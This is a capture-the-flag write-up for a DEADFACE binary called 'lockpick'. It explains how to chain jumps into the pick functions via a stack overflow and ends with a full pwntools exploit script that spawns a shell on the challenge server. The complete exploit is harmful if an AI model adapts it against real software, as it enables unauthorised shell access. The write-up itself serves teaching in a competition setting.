locked out
We found this program on one of the old drives DEADFACE threw out. We think they’re using it on a server somewhere as a way for members to ‘log in…' and to keep other people out. No password seems to work. Looking it over, it seems vulnerable enough-- but how on earth do you open a lock with no key?
for this challenge we have a linux binary, that asks user for a password.
$ ./lockpick
PROGRAM SECURED...
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⠟⠉⠀⠀⠀⠈⠙⠿⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢰⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⡇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⡇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢠⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀
⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠉⠉⠛⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀
⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀
⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡶⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀
⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⡏⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣿⣿⣶⣶⣶⣶⣶⣾⣿⣿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠙⠛⠛⠉⠉⠉⠀⠀
How do you open a lock with no key?
password
Trying to unlock...
darn, not the right order...this binary has
no PIE
NX enabled
no canary
disassembly of the main function (binary ninja):
{
setbuf(__TMC_END__, nullptr);
vuln();
puts("Trying to unlock...");
if (pin1 != 1 || pin2 != 1 || pin3 != 1 || pin4 != 1 || pin5 != 1)
puts("darn, not the right order...");
else
system("/ghh/op");
return 0;
}pin1 .. pin5 are global variables.
we have functions in our program called
pick1()..pick5()that has code to setpin1..pin5to 1.these function also change the "/ghh/op" string to "/bin/sh".
if we can jump to these functions in order
they will change the "/ghh/op" string to "/bin/sh"
satisfy the condition to call system("/bin/sh")
we are dividing the payload into 2 parts because system has instruction which deals with xmm register and requires that the stack is 16 byte aligned, and jumping to middle of function multiple times messed up the alignment for me.
final payload:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./lockpick")
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
script = '''
set disassembly-flavor intel
break vuln
display/5i $rip
display/30xg $rsp
display/x $rdi
display/x $rsi
display/x $rdx
display/x $rcx
'''
def conn():
if args.L:
r = process([exe.path])
if args.GDB:
return gdb.debug(exe.path, gdbscript=script)
else:
r = remote("env01.deadface.io",9999)
return r
def main():
r = conn()
offset = cyclic_find(0x6161617461616173)
payload = [
b'a'*offset,
p64(0x0040127c), # after if condition in pick1
p64(0xdeadbeef), # compensate for pop rbp
p64(0x004012c1), # after if condition in pick2
p64(0xdeadbeef), # compensate for pop rbp
p64(0x00401314), # after if condition in pick3
p64(0xdeadbeef), # compensate for pop rbp
p64(0x0040133f), # after if condition in pick4
p64(0xdeadbeef), # compensate for pop rbp
p64(exe.sym['main']) # call main again.
]
payload = b''.join(payload)
r.sendline(payload)
payload = [
b'a'*offset,
p64(0x00401384), # after if condition in pick4
p64(0xdeadbeef), # compensate for pop rbp
p64(exe.sym['main'])
]
payload = b''.join(payload)
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Last updated